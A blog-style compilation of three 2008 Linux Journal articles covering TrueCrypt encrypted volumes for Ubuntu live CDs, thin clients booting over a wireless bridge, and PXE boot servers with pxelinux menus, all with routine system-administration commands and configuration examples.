bash-$ sudo dpkg -i ./truecrypt_5.1-0_i386.deb

With TrueCrypt 5.1, only three files are installed on your system: its license and user guide, both in /usr/share/truecrupt/doc/, and the binary itself, /usr/bin/truecrypt. TrueCrypt doesn't require any special kernel modules; it's a monolothic process. This means that if you copy /usr/bin/truecrypt to the same Flash drive on which you keep your encrypted volume, you won't need to install it on your Ubuntu live CD.

You may prefer doing so anyhow. Here's how:

  1. Follow steps 00–12 in the procedure I described last month for mounting your custom ISO and chrooting into it (see Appendix).

  2. From a different, non-chrooted shell, copy the TrueCrypt deb package truecrypt_5.1-0_i386.deb into the ISO root you just chrooted into (isonew/custom/ in last month's examples).

  3. Back in your chrooted shell, run dpkg -i ./truecrypt_5.1-0_i386.deb (no sudo necessary here, as you're already root).

  4. Finally, follow steps 19–33 from last month's procedure to clean up, unmount and repackage your custom live CD image. And, of course, use your CD-burning application of choice to burn your image into a shiny new live CD

Creating an Encrypted Volume

Now, you can create an encrypted volume. For our purposes here, it will be a simple “file vault” to mount as a subdirectory of your home directory. But, it just as easily could be an entire home directory that you mount over the one your live CD uses. Come to think of it, you also could do that with /etc. For now, however, I'll leave it to you to explore the technical subtleties of those usage scenarios (see Resources for some pointers on home directory encryption).

TrueCrypt can be run either in text mode, via the truecrypt -t command (followed by various options) or in graphical mode. For now, let's stick to graphical mode. To start it, simply type the following from within a terminal window:

bash-$ truecrypt &

And, you should see what's shown in Figure 1.

Figure 1. TrueCrypt 5.1 GUI for Linux

Click Create Volume to start the TrueCrypt Volume Creation Wizard. We'll create a standard TrueCrypt volume, not a hidden one (you can hide one TrueCrypt volume inside the “empty” space of another, as all unused space in a TrueCrypt volume is filled with random characters). So, click Next.

In the wizard's next screen, you can specify the path and name of the file in which your encrypted volume will be stored or the name of an entire disk partition to encrypt. Here, we're creating a file-hosted volume, and in our example scenario, this file will be /home/ubuntu/realhome2 (no file extension is necessary). After typing that path, click Next.

In the wizard's third screen, we must specify the volume's size. In this example, I'm creating a 500MB volume.

After clicking Next, you can choose an Encryption Algorithm and a Hash Algorithm. The defaults, AES and RIPEMD-160, respectively, are good choices. You also can click the Test button to make sure TrueCrypt's built-in cryptographic functions work properly on your system.

The next step is to set a volume password. Choose a strong one! You also can specify and create keyfiles—files that TrueCrypt will look for every time you mount this volume. If any keyfile is missing, or if its contents have changed in any way since you created the volume, TrueCrypt won't mount the volume. Properly used, keyfiles can provide another level of authentication to your encrypted volume. But, we aren't going to use any in this example. Enter a password (twice) and click Next.

Important note: TrueCrypt has no back doors of any kind. For this reason, if you forget your volume's password, or if any of its keyfiles are lost or corrupted, you will not be able to recover the contents of your encrypted volume. By all means, choose a difficult-to-guess volume password, but make sure you won't forget or lose it yourself!

Now we come to the Format Options screen, which asks a subtle question: which filesystem? The choices here are FAT, which is actually the Windows 95 vfat filesystem (MS-DOS FAT16 with long filenames), and None. If you select FAT, TrueCrypt will format your new encrypted volume for you. However, vfat isn't a journaling filesystem; it isn't very resilient to file corruption and other filesystem errors.

Worse, strange things can happen if you store certain kinds of Linux system files on a vfat partition, because vfat can't store certain Linux file attributes. The only reason to choose vfat is if you intend to use the volume with both Linux and Windows systems. If you're going to use it only on Linux, especially if you're going to use it as a home directory (or /etc), you should choose None, and formate the virtual partition yourself, which I'll show you how to do in a minute.

For now, click Next to proceed to the Volume Format screen. This is your chance to generate some entropy (randomness) with which TrueCrypt can initialize its crypto engine, pursuant to encrypting your volume. To do so, move your mouse randomly within the window a while, and then click Format.

That's it! You've created /home/ubuntu/realhome2 and now are ready to format it. Click Exit to close the Volume Creation Wizard.

Formatting the Volume

My personal favorite native-Linux journaling filesystem is ext3, so that's what we use here. Before we format our new volume though, we need to have TrueCrypt map it to a virtual device. This isn't really mounting per se, but that's the TrueCrypt function we need to use.

Back in the TrueCrypt GUI (Figure 1), type the full path of our new volume (/home/ubuntu/realhome2) in the text box next to the key icon (or navigate to it using the Select File... dialog), and click Mount. In the box that pops up, enter your volume's password, and then click Options >. Here's where things get a little strange. Click the box next to Do not mount (Figure 2). Now you can click OK.

Figure 2. Not Mounting Our Unformatted Volume

Why, you may wonder, are you telling TrueCrypt “do not mount” in the middle of the Mount dialog? Because, of course, you can't mount an unformatted partition. But, TrueCrypt can map it to a virtual device, and this is, in fact, what TrueCrypt has just done.

Back in the TrueCrypt main screen, your volume file now should be listed in Slot 1. To find the virtual device to which it's been mapped, click Volume Properties. As shown in Figure 3, realhome3 has been mapped to /dev/loop0.

Figure 3. Volume Properties

Now, we can format the new encrypted volume. In your terminal window, type:

05-$ sudo mkfs.ext3 /dev/loop0
Volume Ownership

Voilà! You now have a mountable, usable encrypted virtual volume! If you want to test it or begin populating it with confidential data you intend to use with your live CD, you can mount it “for real” by going back to the TrueCrypt GUI, clicking Dismount, and then clicking Mount (the same button; it's context-sensitive). (This time, do not select the Do not mount button.) If you don't specify a mountpoint, TrueCrypt automatically creates one called /media/truecrypt1.

Note that if you mount different TrueCrypt volumes in succession, the mountpoints will be named /media/truecrypt1, /media/truecrypt2 and so on, where the trailing digit corresponds to the Slot number TrueCrypt uses in creating virtual device mappings (Figure 1). Note also that when mounting a TrueCrypt volume from the GUI, you may need to click on an empty slot number before clicking the Mount number, if one isn't selected already.

By default, TrueCrypt mounts your ext3-formatted TrueCrypt volume with root ownership. Depending on how you plan to use it, that may be appropriate. But, as a matter of principle, you don't want to use root privileges for ordinary tasks like word processing. If you're going to use this volume as your Documents directory, it's going to need to be usable by some unprivileged user.

The custom live CD image we created last month has only the default Ubuntu accounts on it. For now, let's stick with those—that way, you'll be able to use this encrypted volume with any Ubuntu 7.10 live CD, not just your custom image. Here's how to make your volume usable by the default live CD user account ubuntu.

First, create, map, format and mount your volume as described above. I'll assume that TrueCrypt mounted it to /media/truecrypt1.

Open or switch to a terminal window. If you do an ls -l of /media, the listing for your volume should look like this:

drwxr-xr-x  3 root     root  1024 2008-03-09 23:21 truecrypt1

As you can see, only root can use this directory. Because we want it to be usable by our live CD's ubuntu account, and because that account's user ID (UID) and group ID (GID) are 999 and 999, respectively, we issue this command:

05-$ sudo chown -R 999:999 /media/truecrypt1

This performs a bit of magic. The user/group ownerships you just specified are now embedded in your TrueCrypt volume's filesystem. From this point on, wherever you mount this volume, regardless of the mountpoint's ownership and permissions when it isn't in use, your volume will be mounted with UID and GID both set to 999.

If you subsequently mount the TrueCrypt volume on a system on which some user or group other than ubuntu has a numeric ID of 999 (per its local /etc/passwd and /etc/group files), then that user or group will own the mounted volume, even if that system has an account or group named ubuntu. And, if on that system the UID 999 doesn't correspond to any user, you'll need to be root in order to use the mounted volume. (But, in that case, you'll be no worse off than if you had skipped the chown exercise!)

Using the TrueCrypt Volume with Your Live CD

And now, the moment of truth. To use your encrypted TrueCrypt volume with an Ubuntu live CD, such as the one we modified last month, simply boot a system off that CD; insert the USB drive; execute the truecrypt binary from the USB drive or from the CD, if you installed TrueCrypt on your custom image; and mount your encrypted volume, specifying a mountpoint of /home/ubuntu/Documents (Figure 4).

Figure 4. Mounting Your Volume on /home/ubuntu/Documents

If TrueCrypt prompts you for an administrative password, leave it blank and click OK. By default, the ubuntu account on Ubuntu CDs has no password.

This brings me to the topic of next month's column: further securing and customizing your encrypted-Documents-enabled live CD image. Until then, be safe!

Mick Bauer (darth.elmo@wiremonkeys.org) is Network Security Architect for one of the US's largest banks. He is the author of the O'Reilly book Linux Server Security, 2nd edition (formerly called Building Secure Servers With Linux), an occasional presenter at information security conferences and composer of the “Network Engineering Polka”.


Taken From: Linux Journal, nº 170 2008 - Paranoid Penguin - Customizing Linux Live CDs, Part II, by Mick Bauer

Booting Thin Clients - Over a Wireless Bridge

Thin Clients Booting over a Wireless Bridge

May 1st, 2008 by Ronan Skehill, Alan Dunne and John Nelson

How quickly can thin clients boot over a wireless bridge, and how far apart can they really be?

In the 1970s and 1980s, the ubiquitous model of corporate and academic computing was that of many users logging in remotely to a single server to use a sliver of its precious processing time. With the cost of semiconductors holding fast to Moore's Law in the subsequent decades, however, the next advances in computing saw desktop computing become the standard as it became more affordable.

Although the technology behind thin clients is not revolutionary, their popularity has been on the increase recently. For many institutions that rely on older, donated hardware, thin-client networks are the only feasible way to provide users with access to relatively new software. Their use also has flourished in the corporate context. Thin-client networks provide cost-savings, ease network administration and pose fewer security implications when the time comes to dispose of them. Several computer manufacturers have leaped to stake their claim on this expanding market: Dell and HP Compaq, among others, now offer thin-client solutions to business clients.

And, of course, thin clients have a large following of hobbyists and enthusiasts, who have used their size and flexibility to great effect in countless home-brew projects. Software projects, such as the Etherboot Project and the Linux Terminal Server Project, have large and active communities and provide excellent support to those looking to experiment with diskless workstations.

Connecting the thin clients to a server always has been done using Ethernet; however, things are changing. Wireless technologies, such as Wi-Fi (IEEE 802.11), have evolved tremendously and now can start to provide an alternative means of connecting clients to servers. Furthermore, wireless equipment enjoys world-wide acceptance, and compatible products are readily available and very cheap.

In this article, we give a short description of the setup of a thin-client network, as well as some of the tools we found to be useful in its operation and administration. We also describe a test scenario we set up, involving a thin-client network that spanned a wireless bridge.

What Is a Thin Client?

A thin client is a computer with no local hard drive, which loads its operating system at boot time from a boot server. It is designed to process data independently, but relies solely on its server for administration, applications and non-volatile storage.

Figure 1. LTSP Traffic Profile and Boot Sequence

Following the client's BIOS sequence, most machines with network-boot capability will initiate a Preboot EXecution Environment (PXE), which will pass system control to the local network adapter. Figure 1 illustrates the traffic profile of the boot process and the various different stages, which are numbered 1 to 5. The network card broadcasts a DHCPDISCOVER packet with special flags set, indicating that the sender is trying to locate a valid boot server. A local PXE server will reply with a list of valid boot servers. The client then chooses a server, requests the name of the Linux kernel file from the server and initiates its transfer using Trivial File Transfer Protocol (TFTP; stage 1). The client then loads and executes the Linux kernel as normal (stage 2). A custom init program is then run, which searches for a network card and uses DHCP to identify itself on the network. Using Sun Microsystems' Network File System (NFS), the thin client then mounts a directory tree located on the PXE server as its own root filesystem (stage 3). Once the client has a non-volatile root filesystem, it continues to load the rest of its operating system environment (stage 4)—for example, it can mount a local filesystem and create a ramdisk to store local copies of temporary files. The fifth stage in the boot process is the initiation of the X Window System. This transfers the keystrokes from the thin client to the server to be processed. The server in return sends the graphical output to be displayed by the user interface system (usually KDE or GNOME) on the thin client.

The X Display Manager Control Protocol (XDMCP) provides a layer of abstraction between the hardware in a system and the output shown to the user. This allows the user to be physically removed from the hardware by, in this case, a Local Area Network. When the X Window System is run on the thin client, it contacts the PXE server. This means the user logs in to the thin client to get a session on the server.

In conventional fat-client environments, if a client opens a large file from a network server, it must be transferred to the client over the network. If the client saves the file, the file must be again transmitted over the network. In the case of wireless networks, where bandwidth is limited, fat client networks are highly inefficient. On the other hand, with a thin-client network, if the user modifies the large file, only mouse movement, keystrokes and screen updates are transmitted to and from the thin client. This is a highly efficient means, and other examples, such as ICA or NX, can consume as little as 5kbps bandwidth. This level of traffic is suitable for transmitting over wireless links.

How to Set Up a Thin-Client Network with a Wireless Bridge

One of the requirements for a thin client is that it has a PXE-bootable system. Normally, PXE is part of your network card BIOS, but if your card doesn't support it, you can get an ISO image of Etherboot with PXE support from ROM-o-matic (see Resources). Looking at the server with, for example, ten clients, it should have plenty of hard disk space (100GB), plenty of RAM (at least 1GB) and a modern CPU (such as an AMD64 3200).

The following is a five-step how-to guide on setting up an Edubuntu thin-client network over a fixed network.

1. Prepare the server.

In our network, we used the standard standalone configuration. From the command line:

sudo apt-get install ltsp-server-standalone

You may need to edit /etc/ltsp/dhcpd.conf if you change the default IP range for the clients. By default, it's configured for a server at 192.168.0.1 serving PXE clients.

Our network wasn't behind a firewall, but if yours is, you need to open TFTP, NFS and DHCP. To do this, edit /etc/hosts.allow, and limit access for portmap, rpc.mountd, rpc.statd and in.tftpd to the local network:

portmap: 192.168.0.0/24
rpc.mountd: 192.168.0.0/24
rpc.statd: 192.168.0.0/24
in.tftpd: 192.168.0.0/24

Restart all the services by executing the following commands:

sudo invoke-rc.d nfs-kernel-server restart
sudo invoke-rc.d nfs-common restart
sudo invoke-rc.d portmap restart

2. Build the client's runtime environment.

While connected to the Internet, issue the command:

sudo ltsp-build-client

If you're not connected to the Internet and have Edubuntu on CD, use:

sudo ltsp-build-client --mirror file:///cdrom

Remember to copy sources.list from the server into the chroot.

3. Configure your SSH keys.

To configure your SSH server and keys, do the following:

sudo apt-get install openssh-server
sudo ltsp-update-sshkeys

4. Start DHCP.

You should now be ready to start your DHCP server:

sudo invoke-rc.d dhcp3-server start

If all is going well, you should be ready to start your thin client.

5. Boot the thin client.

Make sure the client is connected to the same network as your server.

Power on the client, and if all goes well, you should see a nice XDMCP graphical login dialog.

Once the thin-client network was up and running correctly, we added a wireless bridge into our network. In our network, a number of thin clients are located on a single hub, which is separated from the boot server by an IEEE 802.11 wireless bridge. It's not an unrealistic scenario; a situation such as this may arise in a corporate setting or university. For example, if a group of thin clients is located in a different or temporary building that does not have access to the main network, a simple and elegant solution would be to have a wireless link between the clients and the server. Here is a mini-guide in getting the bridge running so that the clients can boot over the bridge:

  • Connect the server to the LAN port of the access point. Using this LAN connection, access the Web configuration interface of the access point, and configure it to broadcast an SSID on a unique channel. Ensure that it is in Infrastructure mode (not ad hoc mode). Save these settings and disconnect the server from the access point, leaving it powered on.

  • Now, connect the server to the wireless node. Using its Web interface, connect to the wireless network advertised by the access point. Again, make sure the node connects to the access point in Infrastructure mode.

  • Finally, connect the thin client to the access point. If there are several thin clients connected to a single hub, connect the access point to this hub.

We found ad hoc mode unsuitable for two reasons. First, most wireless devices limit ad hoc connection speeds to 11Mbps, which would put the network under severe strain to boot even one client. Second, while in ad hoc mode, the wireless nodes we were using would assume the Media Access Control (MAC) address of the computer that last accessed its Web interface (using Ethernet) as its own Wireless LAN MAC. This made the nodes suitable for connecting a single computer to a wireless network, but not for bridging traffic destined to more than one machine. This detail was found only after much sleuthing and led to a range of sporadic and often unreproducible errors in our system.

The wireless devices will form an Open Systems Interconnection (OSI) layer 2 bridge between the server and the thin clients. In other words, all packets received by the wireless devices on their Ethernet interfaces will be forwarded over the wireless network and retransmitted on the Ethernet adapter of the other wireless device. The bridge is transparent to both the clients and the server; neither has any knowledge that the bridge is in place.

For administration of the thin clients and network, we used the Webmin program. Webmin comprises a Web front end and a number of CGI scripts, which directly update system configuration files. As it is Web-based, administration can be performed from any part of the network by simply using a Web browser to log in to the server. The graphical interface greatly simplifies tasks, such as adding and removing thin clients from the network or changing the location of the image file to be transferred at boot time. The alternative is to edit several configuration files by hand and restart all dæmon programs manually.

Evaluating the Performance of a Thin-Client Network

The boot process of a thin client is network-intensive, but once the operating system has been transferred, there is little traffic between the client and the server. As the time required to boot a thin client is a good indicator of the overall usability of the network, this is the metric we used in all our tests.

Our testbed consisted of a 3GHz Pentium 4 with 1GB of RAM as the PXE server. We chose Edubuntu 5.10 for our server, as this (and all newer versions of Edubuntu) come with LTSP included. We used six identical thin clients: 500MHz Pentium III machines with 512MB of RAM—plenty of processing power for our purposes.

Figure 2. Six thin clients are connected to a hub, and in turn, this is connected to wireless bridge device. On the other side of the bridge is the server. Both wireless devices are placed in the Azimuth chamber.

When performing our tests, it was important that the results obtained were free from any external influence. A large part of this was making sure that the wireless bridge was not affected by any other wireless networks, cordless phones operating at 2.4GHz, microwaves or any other sources of Radio Frequency (RF) interference. To this end, we used the Azimuth 301w Test Chamber to house the wireless devices (see Resources). This ensures that any variations in boot times are caused by random variables within the system itself.

The Azimuth is a test platform for system-level testing of 802.11 wireless networks. It holds two wireless devices (in our case, the devices making up our bridge) in separate chambers and provides an artificial medium between them, creating complete isolation from the external RF environment. The Azimuth can attenuate the medium between the wireless devices and can convert the attenuation in decibels to an approximate distance between them. This gives us the repeatability, which is a rare thing in wireless LAN evaluation. A graphic representation of our testbed is shown in Figure 2.

We tested the thin-client network extensively in three different scenarios: first, when multiple clients are booting simultaneously over the network; second, booting a single thin client over the network at varying distances, which are simulated by altering the attenuation introduced by the chamber; and third, booting a single client when there is heavy background network traffic between the server and the other clients on the network.

Figure 3. A Boot Time Comparison of Fixed and Wireless Networks with an Increasing Number of Thin Clients

Figure 4. The Effect of the Bridge Length on Thin-Client Boot Time

Figure 5. Boot Time in the Presence of Background Traffic

Conclusion

As shown in Figure 3, a wired network is much more suitable for a thin-client network. The main limiting factor in using an 802.11g network is its lack of available bandwidth. Offering a maximum data rate of 54Mbps (and actual transfer speeds at less than half that), even an aging 100Mbps Ethernet easily outstrips 802.11g. When using an 802.11g bridge in a network such as this one, it is best to bear in mind its limitations. If your network contains multiple clients, try to stagger their boot procedures if possible.

Second, as shown in Figure 4, keep the bridge length to a minimum. With 802.11g technology, after a length of 25 meters, the boot time for a single client increases sharply, soon hitting the three-minute mark. Finally, our test shows, as illustrated in Figure 5, heavy background traffic (generated either by other clients booting or by external sources) also has a major influence on the clients' boot processes in a wireless environment. As the background traffic reaches 25% of our maximum throughput, the boot times begin to soar. Having pointed out the limitations with 802.11g, 802.11n is on the horizon, and it can offer data rates of 540Mbps, which means these limitations could soon cease to be an issue.

In the meantime, we can recommend a couple ways to speed up the boot process. First, strip out the unneeded services from the thin clients. Second, fix the delay of NFS mounting in klibc, and also try to start LDM as early as possible in the boot process, which means running it as the first service in rc2.d. If you do not need system logs, you can remove syslogd completely from the thin-client startup. Finally, it's worth remembering that after a client has fully booted, it requires very little bandwidth, and current wireless technology is more than capable of supporting a network of thin clients.

Acknowledgement

This work was supported by the National Communications Network Research Centre, a Science Foundation Ireland Project, under Grant 03/IN3/1396.

Ronan Skehill works for the Wireless Access Research Centre at the University of Limerick, Ireland, as a Senior Researcher. The Centre focuses on everything wireless-related and has been growing steadily since its inception in 1999.

Alan Dunne conducted his final-year project with the Centre under the supervision of John Nelson. He graduated in 2007 with a degree in Computer Engineering and now works with Ericsson Ireland as a Network Integration Engineer.

John Nelson is a senior lecturer in the Department of Electronic and Computer Engineering at the University of Limerick. His interests include mobile and wireless communications, software engineering and ambient assisted living.


Taken From: Linux Journal, nº 170 2008 - Thin Clients Booting over a Wireless Bridge, by Kyle Ronan Skehill, Alen Dunne and John Nelson

Tuesday, July 1, 2008

PXE Magic - Boot OS from the Network (with Menus)

PXE Magic: Flexible Network Booting with Menus
April 1st, 2008 by Kyle Rankin in

* SysAdmin

Set up a PXE server and then add menus to boot kickstart images, rescue disks and diagnostic tools all from the network.

It's funny how automation evolves as system administrators manage larger numbers of servers. When you manage only a few servers, it's fine to pop in an install CD and set options manually. As the number of servers grows, you might realize it makes sense to set up a kickstart or FAI (Debian's Fully Automated Installer) environment to automate all that manual configuration at install time. Now, you boot the install CD, type in a few boot arguments to point the machine to the kickstart server, and go get a cup of coffee as the machine installs.

When the day comes that you have to install three or four machines at once, you either can burn extra CDs or investigate PXE boot. The Preboot eXecution Environment is an open standard developed by Intel to allow machines to boot over a network instead of from local media, such as a floppy, CD or hard drive. Modern servers and newer laptops and desktops with integrated NICs should support PXE booting in the BIOS—in some cases, it's enabled by default, and in other cases, you need to go into your BIOS settings to enable it.

Because many modern servers these days offer built-in remote power and remote terminals or otherwise are remotely accessible via serial console servers or networked KVM, if you have a PXE boot environment set up, you can power on remotely, then boot and install a machine from miles away.

If you have never set up a PXE boot server before, the first part of this article covers the steps to get your first PXE server up and running. If PXE booting is old hat to you, skip ahead to the section called PXE Menu Magic. There, I cover how to configure boot menus when you PXE boot, so instead of hunting down MAC addresses and doing a lot of setup before an install, you simply can boot, select your OS, and you are off and running. After that, I discuss how to integrate rescue tools, such as Knoppix and memtest86+, into your PXE environment, so they are available to any machine that can boot from the network.
PXE Setup

You need three main pieces of infrastructure for a PXE setup: a DHCP server, a TFTP server and the syslinux software. Both DHCP and TFTP can reside on the same server. When a system attempts to boot from the network, the DHCP server gives it an IP address and then tells it the address for the TFTP server and the name of the bootstrap program to run. The TFTP server then serves that file, which in our case is a PXE-enabled syslinux binary. That program runs on the booted machine and then can load Linux kernels or other OS files that also are shared on the TFTP server over the network. Once the kernel is loaded, the OS starts as normal, and if you have configured a kickstart install correctly, the install begins.
Configure DHCP

Any relatively new DHCP server will support PXE booting, so if you don't already have a DHCP server set up, just use your distribution's DHCP server package (possibly named dhcpd, dhcp3-server or something similar). Configuring DHCP to suit your network is somewhat beyond the scope of this article, but many distributions ship a default configuration file that should provide a good place to start. Once the DHCP server is installed, edit the configuration file (often in /etc/dhcpd.conf), and locate the subnet section (or each host section if you configured static IP assignment via DHCP and want these hosts to PXE boot), and add two lines:

next-server ip_of_pxe_server;
filename "pxelinux.0";

The next-server directive tells the host the IP address of the TFTP server, and the filename directive tells it which file to download and execute from that server. Change the next-server argument to match the IP address of your TFTP server, and keep filename set to pxelinux.0, as that is the name of the syslinux PXE-enabled executable.

In the subnet section, you also need to add dynamic-bootp to the range directive. Here is an example subnet section after the changes:

subnet 10.0.0.0 netmask 255.255.255.0 {
range dynamic-bootp 10.0.0.200 10.0.0.220;
next-server 10.0.0.1;
filename "pxelinux.0";
}

Install TFTP

After the DHCP server is configured and running, you are ready to install TFTP. The pxelinux executable requires a TFTP server that supports the tsize option, and two good choices are either tftpd-hpa or atftp. In many distributions, these options already are packaged under these names, so just install your distribution's package or otherwise follow the installation instructions from the project's official site.

Depending on your TFTP package, you might need to add an entry to /etc/inetd.conf if it wasn't already added for you:

tftp dgram udp wait root /usr/sbin/in.tftpd
/usr/sbin/in.tftpd -s /var/lib/tftpboot

As you can see in this example, the -s option (used for tftpd-hpa) specified /var/lib/tftpboot as the directory to contain my files, but on some systems, these files are commonly stored in /tftpboot, so see your /etc/inetd.conf file and your tftpd man page and check on its conventions if you are unsure. If your distribution uses xinetd and doesn't create a file in /etc/xinetd.d for you, create a file called /etc/xinetd.d/tftp that contains the following:

# default: off
# description: The tftp server serves files using
# the trivial file transfer protocol.
# The tftp protocol is often used to boot diskless
# workstations, download configuration files to network-aware
# printers, and to start the installation process for
# some operating systems.
service tftp
{
disable = no
socket_type = dgram
protocol = udp
wait = yes
user = root
server = /usr/sbin/in.tftpd
server_args = -s /var/lib/tftpboot
per_source = 11
cps = 100 2
flags = IPv4
}

As tftpd is part of inetd or xinetd, you will not need to start any service. At most, you might need to reload inetd or xinetd; however, make sure that any software firewall you have running allows the TFTP port (port 69 udp) as input.
Add Syslinux

Now that TFTP is set up, all that is left to do is to install the syslinux package (available for most distributions, or you can follow the installation instructions from the project's main Web page), copy the supplied pxelinux.0 file to /var/lib/tftpboot (or your TFTP directory), and then create a /var/lib/tftpboot/pxelinux.cfg directory to hold pxelinux configuration files.
PXE Menu Magic

You can configure pxelinux with or without menus, and many administrators use pxelinux without them. There are compelling reasons to use pxelinux menus, which I discuss below, but first, here's how some pxelinux setups are configured.

When many people configure pxelinux, they create configuration files for a machine or class of machines based on the fact that when pxelinux loads it searches the pxelinux.cfg directory on the TFTP server for configuration files in the following order:

*

Files named 01-MACADDRESS with hyphens in between each hex pair. So, for a server with a MAC address of 88:99:AA:BB:CC:DD, a configuration file that would target only that machine would be named 01-88-99-aa-bb-cc-dd (and I've noticed it does matter that it is lowercase).
*

Files named after the host's IP address in hex. Here, pxelinux will drop a digit from the end of the hex IP and try again as each file search fails. This is often used when an administrator buys a lot of the same brand of machine, which often will have very similar MAC addresses. The administrator then can configure DHCP to assign a certain IP range to those MAC addresses. Then, a boot option can be applied to all of that group.
*

Finally, if no specific files can be found, pxelinux will look for a file named default and use it.

One nice feature of pxelinux is that it uses the same syntax as syslinux, so porting over a configuration from a CD, for instance, can start with the syslinux options and follow with your custom network options. Here is an example configuration for an old CentOS 3.6 kickstart:

default linux
label linux
kernel vmlinuz-centos-3.6
append text nofb load_ramdisk=1 initrd=initrd-centos-3.6.img
↪network ks=http://10.0.0.1/kickstart/centos3.cfg

Why Use Menus?

The standard sort of pxelinux setup works fine, and many administrators use it, but one of the annoying aspects of it is that even if you know you want to install, say, CentOS 3.6 on a server, you first have to get the MAC address. So, you either go to the machine and find a sticker that lists the MAC address, boot the machine into the BIOS to read the MAC, or let it get a lease on the network. Then, you need to create either a custom configuration file for that host's MAC or make sure its MAC is part of a group you already have configured. Depending on your infrastructure, this step can add substantial time to each server. Even if you buy servers in batches and group in IP ranges, what happens if you want to install a different OS on one of the servers? You then have to go through the additional work of tracking down the MAC to set up an exclusion.

With pxelinux menus, I can preconfigure any of the different network boot scenarios I need and assign a number to them. Then, when a machine boots, I get an ASCII menu I can customize that lists all of these options and their number. Then, I can select the option I want, press Enter, and the install is off and running. Beyond that, now I have the option of adding non-kickstart images and can make them available to all of my servers, not just certain groups. With this feature, you can make rescue tools like Knoppix and memtest86+ available to any machine on the network that can PXE boot. You even can set a timeout, like with boot CDs, that will select a default option. I use this to select my standard Knoppix rescue mode after 30 seconds.
Configure PXE Menus

Because pxelinux shares the syntax of syslinux, if you have any CDs that have fancy syslinux menus, you can refer to them for examples. Because you want to make this available to all hosts, move any more specific configuration files out of pxelinux.cfg, and create a file named default. When the pxelinux program fails to find any more specific files, it then will load this configuration. Here is a sample menu configuration with two options: the first boots Knoppix over the network, and the second boots a CentOS 4.5 kickstart:

default 1
timeout 300
prompt 1
display f1.msg
F1 f1.msg
F2 f2.msg

label 1
kernel vmlinuz-knx5.1.1
append secure nfsdir=10.0.0.1:/mnt/knoppix/5.1.1
↪nodhcp lang=us ramdisk_size=100000 init=/etc/init
↪2 apm=power-off nomce vga=normal
↪initrd=miniroot-knx5.1.1.gz quiet BOOT_IMAGE=knoppix
label 2
kernel vmlinuz-centos-4.5-64
append text nofb ksdevice=eth0 load_ramdisk=1
↪initrd=initrd-centos-4.5-64.img network
↪ks=http://10.0.0.1/kickstart/centos4-64.cfg

Each of these options is documented in the syslinux man page, but I highlight a few here. The default option sets which label to boot when the timeout expires. The timeout is in tenths of a second, so in this example, the timeout is 30 seconds, after which it will boot using the options set under label 1. The display option lists a message if there are any to display by default, so if you want to display a fancy menu for these two options, you could create a file called f1.msg in /var/lib/tftpboot/ that contains something like:

----| Boot Options |-----
| |
| 1. Knoppix 5.1.1 |
| 2. CentOS 4.5 64 bit |
| |
-------------------------

Main | Help
Default image will boot in 30 seconds...


Notice that I listed F1 and F2 in the menu. You can create multiple files that will be output to the screen when the user presses the function keys. This can be useful if you have more menu options than can fit on a single screen, or if you want to provide extra documentation at boot time (this is handy if you are like me and create custom boot arguments for your kickstart servers). In this example, I could create a /var/lib/tftpboot/f2.msg file and add a short help file.

Although this menu is rather basic, check out the syslinux configuration file and project page for examples of how to jazz it up with color and even custom graphics.
Extra Features: PXE Rescue Disk

One of my favorite features of a PXE server is the addition of a Knoppix rescue disk. Now, whenever I need to recover a machine, I don't need to hunt around for a disk, I can just boot the server off the network.

First, get a Knoppix disk. I use a Knoppix 5.1.1 CD for this example, but I've been successful with much older Knoppix CDs. Mount the CD-ROM, and then go to the boot/isolinux directory on the CD. Copy the miniroot.gz and vmlinuz files to your /var/lib/tftpboot directory, except rename them something distinct, such as miniroot-knx5.1.1.gz and vmlinuz-knx5.1.1, respectively. Now, edit your pxelinux.cfg/default file, and add lines like the one I used above in my example:

label 1
kernel vmlinuz-knx5.1.1
append secure nfsdir=10.0.0.1:/mnt/knoppix/5.1.1 nodhcp
↪lang=us ramdisk_size=100000 init=/etc/init 2
↪apm=power-off nomce vga=normal
↪initrd=miniroot-knx5.1.1.gz quiet BOOT_IMAGE=knoppix

Notice here that I labeled it 1, so if you already have a label with that name, you need to decide which of the two to rename. Also notice that this example references the renamed vmlinuz-knx5.1.1 and miniroot-knx5.1.1.gz files. If you named your files something else, be sure to change the names here as well. Because I am mostly dealing with servers, I added 2 after init=/etc/init on the append line, so it would boot into runlevel 2 (console-only mode). If you want to boot to a full graphical environment, remove 2 from the append line.

The final step might be the largest for you if you don't have an NFS server set up. For Knoppix to boot over the network, you have to have its CD contents shared on an NFS server. NFS server configuration is beyond the scope of this article, but in my example, I set up an NFS share on 10.0.0.1 at /mnt/knoppix/5.1.1. I then mounted my Knoppix CD and copied the full contents to that directory. Alternatively, you could mount a Knoppix CD or ISO directly to that directory. When the Knoppix kernel boots, it will then mount that NFS share and access the rest of the files it needs directly over the network.
Extra Features: Memtest86+

Another nice addition to a PXE environment is the memtest86+ program. This program does a thorough scan of a system's RAM and reports any errors. These days, some distributions even install it by default and make it available during the boot process because it is so useful. Compared to Knoppix, it is very simple to add memtest86+ to your PXE server, because it runs from a single bootable file. First, install your distribution's memtest86+ package (most make it available), or otherwise download it from the memtest86+ site. Then, copy the program binary to /var/lib/tftpboot/memtest. Finally, add a new label to your pxelinux.cfg/default file:

label 3
kernel memtest

That's it. When you type 3 at the boot prompt, the memtest86+ program loads over the network and starts the scan.
Conclusion

There are a number of extra features beyond the ones I give here. For instance, a number of DOS boot floppy images, such as Peter Nordahl's NT Password and Registry Editor Boot Disk, can be added to a PXE environment. My own use of the pxelinux menu helps me streamline server kickstarts and makes it simple to kickstart many servers all at the same time. At boot time, I can not only indicate which OS to load, but also more specific options, such as the type of server (Web, database and so forth) to install, what hostname to use, and other very specific tweaks. Besides the benefit of no longer tracking down MAC addresses, you also can create a nice colorful user-friendly boot menu that can be documented, so it's simpler for new administrators to pick up. Finally, I've been able to customize Knoppix disks so that they do very specific things at boot, such as perform load tests or even set up a Webcam server—all from the network.

Resources

tftp-hpa: www.kernel.org/pub/software/network/tftp

atftp: ftp.mamalinux.com/pub/atftp

Syslinux PXE Page: syslinux.zytor.com/pxe.php

Red Hat's Kickstart Guide: www.redhat.com/docs/manuals/enterprise/RHEL-4-Manual/sysadmin-guide/ch-kickstart2.html

Knoppix: www.knoppix.org

Memtest86+: www.memtest.org

Kyle Rankin is a Senior Systems Administrator in the San Francisco Bay Area and the author of a number of books, including Knoppix Hacks and Ubuntu Hacks for O'Reilly Media. He is currently the president of the North Bay Linux Users' Group.


